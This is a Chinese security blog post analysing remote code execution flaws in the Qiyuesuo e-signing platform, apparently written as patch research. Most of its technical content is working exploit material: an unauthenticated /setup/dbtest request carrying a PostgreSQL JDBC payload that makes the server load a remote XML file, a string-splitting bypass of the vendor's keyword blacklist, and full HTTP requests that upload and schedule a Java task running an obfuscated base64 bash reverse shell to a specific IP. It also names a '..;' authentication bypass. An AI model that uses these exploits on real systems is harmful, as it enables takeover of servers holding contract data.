契约锁记录

admin 2025年6月13日20:52:09评论12 views字数 4456阅读14分51秒阅读模式

契约锁记录

契约锁记录

题记

正在客户现场猛猛搬砖,然后人工智能监测平台发现长亭发的漏洞预警

契约锁记录

漏洞预警有几个重点关注一下

漏洞类型:远程代码执行

权限认证要求:无需权限

用户交互要求:无需用户交互

系统配置要求:默认配置

缓解方案:如非必要,避免将该系统管理端HTTP服务直接暴露在互联网

修复方案:契约锁官方已发布安全补丁,请及时更新安全补丁,下载地址:https://www.qiyuesuo.com/more/security/servicepack

文章中给的漏洞复现图如下

契约锁记录

具体分析

由于没有直接公开poc,漏洞复现打码了,但是通过上面信息,可以如下poc相关信息:

漏洞利用GET访问,并且不需要鉴权,影响的是电子签约管理控制台,具体漏洞细节可以从补丁官方查看。

看了下自己之前写的契约锁漏洞分析,补丁包里直接就有具体的接口地址,把之前的分析记录也附上来吧,放在最后了。

契约锁记录

20250611这一次下载的补丁包如下,漏洞接口放在了security.rsc,使用了RSA加密

契约锁记录
契约锁记录

解密后如下

一共48个漏洞接口

契约锁记录

前面知道漏洞poc直接是get请求,并且不需要鉴权,直接扔burp里就行,发现只有/setup/dbtest返回是200,有返回内容并且不需要权限。

契约锁记录

找到接口后,定位到具体类com.qiyuesuo.setup.SetupController.dbtest

契约锁记录

参数为db、name、host、port、username、password

接着调用this.setupService.check

最终调用,看到这就知道漏洞怎么利用了,直接打jdbc即可

契约锁记录

支持这些jdbc

契约锁记录

相关jdbc依赖具体版本如下

契约锁记录

最终POC 

应该只能打PostgreSQL(CVE-2022-21724)

/setup/dbtest?db=&name=&host=&port=&username=&password=

 payload如下

jdbc:postgresql:///?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://xxxx/x.xml

目标来解析xml即可

契约锁记录

搞好文章直接回家打游戏了,然后发现分析文章已经有大哥发了,发的太快,太卷啦

契约锁记录

附上以前写的分析

补丁包1.0.6 2023-08-17

漏洞uri

        /api/template/param/edits         /template/param/edits         /api/template/html/add         /template/html/add         /utask/upload         /api/code/upload         /api/assets/loadResource         /api/sys/config/storage/custom/upload         /sys/config/storage/custom/upload         /sys/config/convert/upload         /api/message/strategy/upload         /message/strategy/upload

电子签约管理控制台后台计划任务

后台直接执行java代码,类似xxljob后台的代码执行

契约锁记录

后面对执行的代码增加了过滤

4.3.4.20230220该版本过滤如下

契约锁记录

后面版本更新过滤如下

return sourceCode.contains("Runtime") || sourceCode.contains("Process") || sourceCode.contains("ProcessBuilder") || sourceCode.contains("SpelExpressionParser") || sourceCode.contains("invoke") || sourceCode.contains("Class.forName") || sourceCode.contains("newInstance") || sourceCode.contains("ClassLoader") || sourceCode.contains("Constructor") || sourceCode.contains("ObjectInputStream") || sourceCode.contains("ScriptEngine") || sourceCode.contains("parseExpression") || sourceCode.contains("getDeclaredField") || sourceCode.contains("setAccessible") || sourceCode.contains("getMethod");

通过拼接字符串绕过

/api/code/upload

接口代码执行

POST /api/code/upload HTTP/1.1 Host Content-Length1187 User-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like GeckoChrome/95.0.4638.69 Safari/537.36 X-Requested-WithXMLHttpRequest Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhvzJ4LxAcrBtxpvf Accept*/* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 CookieSID=0a7ac03a-0ef4-4fff-82b4-55fd47e6d408; OSSID=b487bd83-561b-4562-8c46-794f79264a19 Connection: close  ------WebKitFormBoundaryhvzJ4LxAcrBtxpvf Content-Disposition: form-data; name="type" TIMETASK ------WebKitFormBoundaryhvzJ4LxAcrBtxpvf Content-Disposition: form-data; name="file"; filename="reshell.java" Content-Type: application/octet-stream package com.qiyuesuo.utask.java; public class TestTimerTask extends BaseTimerTask  {     static final long serialVersionUID = 1234567L;     @Override     public void execute() {         //在此写相关的业务实现代码         try {             String[] var12 = System.getProperty("os.name").toLowerCase().contains("window"? new String[]{"cmd.exe""/c""ping dnslog.cn"} : new String[]{"/bin/sh""-c""{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuNC4zOS84MDg5IDA+JjE=}|{base64,-d}|{bash,-i}"};             Class.forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",String[].class).invoke(Class.forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(Class.forName("java.l"+"ang.Ru"+"ntime")),(Object) var12);         } catch (Exception e) {         }         System.out.println("**********************打印测试**********************");     } } ------WebKitFormBoundaryhvzJ4LxAcrBtxpvf--
POST /api/utask/create?_=1693469860994 HTTP/1.1 Host Content-Length257 Accept: application/json, text/plain, */* I18N-Language: zh_CN timestamp: 1693469860995 nonce: ca8bd594-ebc4-45fb-91fa-bf81c84b3fc8-da87a440-47d6-11ee-9eb8-5dbb9ebbe64a X-Requested-WithXMLHttpRequest User-AgentMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like GeckoChrome/95.0.4638.69 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 CookieSID=0a7ac03a-0ef4-4fff-82b4-55fd47e6d408; OSSID=b487bd83-561b-4562-8c46-794f79264a19 Connection: close  {"creater":"管理员","taskName":"test","description":"","type":"FIXTIMEDELAY","cron":"{"delay":1000,"cron":"","total":1,"executed":0,"nextTime":"2023-08-31 16:17:20"}","codeId":"3134780229295555416","timerCategory":"CUSTOM","status":"START"}
契约锁记录

电子签署平台模版编辑处

代码执行

通过..;绕过权限校验

契约锁记录
契约锁记录
契约锁记录
契约锁记录

监制丨船长、铁子

策划丨Cupid

美工丨molin

原文始发于微信公众号(千寻安服):契约锁记录

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月13日20:52:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   契约锁记录http://cn-sec.com/archives/4160927.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息